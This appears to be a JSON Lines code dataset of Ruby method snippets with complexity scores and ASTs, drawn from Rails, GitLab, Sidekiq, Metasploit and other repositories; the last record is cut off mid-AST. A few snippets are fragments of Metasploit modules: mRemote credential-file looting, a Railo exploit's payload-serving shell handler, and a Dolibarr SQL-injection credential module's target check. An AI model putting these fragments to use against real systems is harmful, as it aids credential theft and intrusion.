{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/mremote.rb","start_line":54,"raw_source":"def get_xml(path)\n    print_status(\"Looking for #{path}\")\n\n    return unless file_exist?(path)\n\n    condata = read_file(path)\n    loot_path = store_loot('mremote.creds', 'text/xml', session, condata, path)\n    vprint_good(\"confCons.xml saved to #{loot_path}\")\n    parse_xml(condata)\n    print_status(\"Finished processing #{path}\")\n  rescue Rex::Post::Meterpreter::RequestError\n    print_status(\"The file #{path} either could not be read or does not exist\")\n  end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"get_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Looking for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"condata\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"mremote.creds\"]},{\"type\":\"str\",\"children\":[\"text/xml\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"condata\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"confCons.xml saved to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"parse_xml\",{\"type\":\"lvar\",\"children\":[\"condata\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Finished processing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" either could not be read or does not exist\"]}]}]}]},null]}]}","id":"7b4ca6c0-893b-4f17-b124-eb8efb82adb4"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/testing/assertions.rb","start_line":88,"raw_source":"def assert_class_method(method, content, &block)\n          assert_instance_method \"self.#{method}\", content, &block\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_class_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"content\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"self.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"fbcce166-40cd-442f-a91a-e05977111ecc"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations_test.rb","start_line":317,"raw_source":"def test_list_of_validators_will_be_empty_when_empty\n    Topic.validates :title, length: { minimum: 10 }\n    assert_equal [], Topic.validators_on(:author_name)\n  end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_list_of_validators_will_be_empty_when_empty\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minimum\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validators_on\",{\"type\":\"sym\",\"children\":[\"author_name\"]}]}]}]}]}","id":"28b40958-d361-4c21-a7f0-771561c26680"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issuable_finder.rb","start_line":337,"raw_source":"def filter_by_project(items)\n    if use_join_strategy_for_project?\n      # When finding issues for multiple projects it's more efficient\n      # to use a JOIN instead of running a sub-query\n      # See https://gitlab.com/gitlab-org/gitlab/-/commit/8591cc02be6b12ed60f763a5e0147f2cbbca99e1\n      items.merge(accessible_projects.reorder(nil)).join_project\n    else\n      items.of_projects(accessible_projects).references_project\n    end\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_join_strategy_for_project?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"accessible_projects\"]},\"reorder\",{\"type\":\"nil\",\"children\":[]}]}]},\"join_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"of_projects\",{\"type\":\"send\",\"children\":[null,\"accessible_projects\"]}]},\"references_project\"]}]}]}","id":"83f273b1-07cf-4542-a3bb-a282b07393c5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/design_management/designs/resized_image_controller.rb","start_line":35,"raw_source":"def validate_size!\n          render_404 unless ::DesignManagement::DESIGN_IMAGE_SIZES.include?(size)\n        end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_size!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"DesignManagement\"]},\"DESIGN_IMAGE_SIZES\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"size\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"8c7f0b72-1ee9-423c-9d86-c9e3b47618ec"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq.rb","start_line":90,"raw_source":"def self.default_configuration\n    @config ||= Sidekiq::Config.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_configuration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Config\"]},\"new\"]}]}]}","id":"ba172136-b928-4eb9-a27a-96bc72efd684"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/online_status_tracker.rb","start_line":12,"raw_source":"def self.get_presence(account_id, obj_type, obj_id)\n    connected_time = ::Redis::Alfred.zscore(presence_key(account_id, obj_type), obj_id)\n    connected_time && connected_time > (Time.zone.now - PRESENCE_DURATION).to_i\n  end","complexity_score":11.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_presence\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account_id\"]},{\"type\":\"arg\",\"children\":[\"obj_type\"]},{\"type\":\"arg\",\"children\":[\"obj_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connected_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Redis\"]},\"Alfred\"]},\"zscore\",{\"type\":\"send\",\"children\":[null,\"presence_key\",{\"type\":\"lvar\",\"children\":[\"account_id\"]},{\"type\":\"lvar\",\"children\":[\"obj_type\"]}]},{\"type\":\"lvar\",\"children\":[\"obj_id\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connected_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connected_time\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"PRESENCE_DURATION\"]}]}]},\"to_i\"]}]}]}]}]}","id":"a38b8143-f1c4-48de-b516-41ae37f3c666"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/ci_mixin/state_finders.rb","start_line":14,"raw_source":"def vim_performance_state_for_ts(ts)\n    ts = Time.parse(ts).utc if ts.kind_of?(String)\n    ts_iso = ts.utc.iso8601\n    return nil unless respond_to?(:vim_performance_states)\n\n    @states_by_ts ||= {}\n    state = @states_by_ts[ts_iso]\n    if state.nil?\n      # using preloaded vim_performance_states association\n      if vim_performance_states.loaded?\n        # Look for requested time in cache\n        state = vim_performance_states.detect { |s| s.timestamp == ts }\n        if state.nil?\n          # Look for state for current hour in cache\n          ts_iso_now = Metric::Helper.nearest_hourly_timestamp(Time.now.utc)\n          t = ts_iso_now.to_time(:utc)\n          state = vim_performance_states.detect { |s| s.timestamp == t }\n        end\n        # look for state from previous perf_capture_state call\n        state ||= @states_by_ts[ts_iso_now]\n      else\n        ts_iso_now = Metric::Helper.nearest_hourly_timestamp(Time.now.utc)\n        state = @states_by_ts[ts_iso_now]\n        unless ts_iso_now == ts_iso\n          state ||= vim_performance_states.find_by(:timestamp => ts)\n        end\n      end\n      state ||= perf_capture_state\n      @states_by_ts[state.timestamp.utc.iso8601] = state\n    end\n\n    state\n  end","complexity_score":78.8,"ast_json":"{\"type\":\"def\",\"children\":[\"vim_performance_state_for_ts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"ts\"]}]},\"utc\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ts_iso\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"utc\"]},\"iso8601\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"vim_performance_states\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@states_by_ts\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@states_by_ts\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"ts_iso\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vim_performance_states\"]},\"loaded?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vim_performance_states\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"timestamp\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"ts\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ts_iso_now\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Helper\"]},\"nearest_hourly_timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts_iso_now\"]},\"to_time\",{\"type\":\"sym\",\"children\":[\"utc\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vim_performance_states\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"timestamp\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@states_by_ts\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"ts_iso_now\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ts_iso_now\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Helper\"]},\"nearest_hourly_timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@states_by_ts\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"ts_iso_now\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts_iso_now\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"ts_iso\"]}]},null,{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vim_performance_states\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"lvar\",\"children\":[\"ts\"]}]}]}]}]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[null,\"perf_capture_state\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@states_by_ts\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"timestamp\"]},\"utc\"]},\"iso8601\"]},{\"type\":\"lvar\",\"children\":[\"state\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"state\"]}]}]}","id":"ffa76577-1563-49ba-b609-08815ccf1a0d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/abstract_controller/base.rb","start_line":210,"raw_source":"def action_method?(name)\n        self.class.action_methods.include?(name)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"action_method?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"action_methods\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"d12a0dc5-50ac-4c8a-8b30-ed7397b49539"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/crystalball_env.rb","start_line":12,"raw_source":"def start!\n    return unless ENV['CRYSTALBALL'] == 'true'\n\n    require 'crystalball'\n\n    # Primary strategy currently used for predictive testing\n    enable_described_strategy\n    # Coverage based strategy. See: https://gitlab.com/groups/gitlab-org/quality/analytics/-/epics/13\n    enable_coverage_strategy if ENV['CRYSTALBALL_COVERAGE_STRATEGY'] == 'true'\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"start!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CRYSTALBALL\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"crystalball\"]}]},{\"type\":\"send\",\"children\":[null,\"enable_described_strategy\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CRYSTALBALL_COVERAGE_STRATEGY\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"send\",\"children\":[null,\"enable_coverage_strategy\"]},null]}]}]}","id":"55bf489f-410a-4ee8-8a13-4a375c2222e5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/railo_cfml_rfi.rb","start_line":163,"raw_source":"def on_request_shell(cli, _request)\n    print_status('Sending payload')\n    send_response(cli, payload.encoded, {})\n    handler(cli)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_shell\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending payload\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"0b48ee1b-d301-4d28-acdc-4f1dbe9d09d2"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/app_submission.rb","start_line":125,"raw_source":"def complete!\n        raw_data_clone = raw_data.dup\n        if self.content_rights_has_rights.nil? || self.content_rights_contains_third_party_content.nil?\n          raw_data_clone.set([\"contentRights\"], nil)\n        end\n        raw_data_clone.delete(:version)\n        raw_data_clone.delete(:application)\n\n        client.send_app_submission(application.apple_id, application.edit_version(platform: platform).version_id, raw_data_clone)\n        @submitted_for_review = true\n      end","complexity_score":24.7,"ast_json":"{\"type\":\"def\",\"children\":[\"complete!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw_data_clone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"content_rights_has_rights\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"content_rights_contains_third_party_content\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_data_clone\"]},\"set\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"contentRights\"]}]},{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_data_clone\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_data_clone\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"application\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_app_submission\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"application\"]},\"apple_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"application\"]},\"edit_version\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"send\",\"children\":[null,\"platform\"]}]}]}]},\"version_id\"]},{\"type\":\"lvar\",\"children\":[\"raw_data_clone\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@submitted_for_review\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"2ef26f6b-4852-4d46-b2a3-ab066c9aa2e9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/dolibarr_creds_sqli.rb","start_line":47,"raw_source":"def check_availability\n    login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(login_page)\n    )\n\n    return false unless res && res.body.include?('Dolibarr')\n\n    return res\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_availability\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"login_page\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"index.php\"]}]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/index.php\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"login_page\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Dolibarr\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"456840e6-ec39-44a0-a19a-fc5f7339d5a5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/service_discovery.rb","start_line":35,"raw_source":"def to_s\n            port ? \"#{hostname}:#{port}\" : hostname\n          end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"port\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hostname\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"port\"]}]}]},{\"type\":\"send\",\"children\":[null,\"hostname\"]}]}]}","id":"28db9d17-791e-45ff-b29f-8ca67a8f47f2"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/dsl.rb","start_line":472,"raw_source":"def quiet(which=true)\n      @options[:log_requests] = !which\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"quiet\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"which\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"log_requests\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"which\"]},\"!\"]}]}]}","id":"da242f91-2624-401f-a2d3-f98b1b15279e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/batches_test.rb","start_line":483,"raw_source":"def test_in_batches_when_loaded_runs_no_queries_with_order_argument\n    posts = Post.all.order(id: :asc)\n    posts.load\n    batch_count = 0\n    last_id = posts.map(&:id).max\n    assert_queries_count(0) do\n      posts.in_batches(of: 1, order: :desc) do |relation|\n        batch_count += 1\n        assert_kind_of ActiveRecord::Relation, relation\n        assert_operator last_id, :>=, relation.map(&:id).max\n        last_id = relation.map(&:id).max\n      end\n    end\n\n    assert_equal posts.size, batch_count\n  end","complexity_score":33.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_in_batches_when_loaded_runs_no_queries_with_order_argument\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"all\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"load\"]},{\"type\":\"lvasgn\",\"children\":[\"batch_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"last_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"max\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"batch_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Relation\"]},{\"type\":\"lvar\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"lvar\",\"children\":[\"last_id\"]},{\"type\":\"sym\",\"children\":[\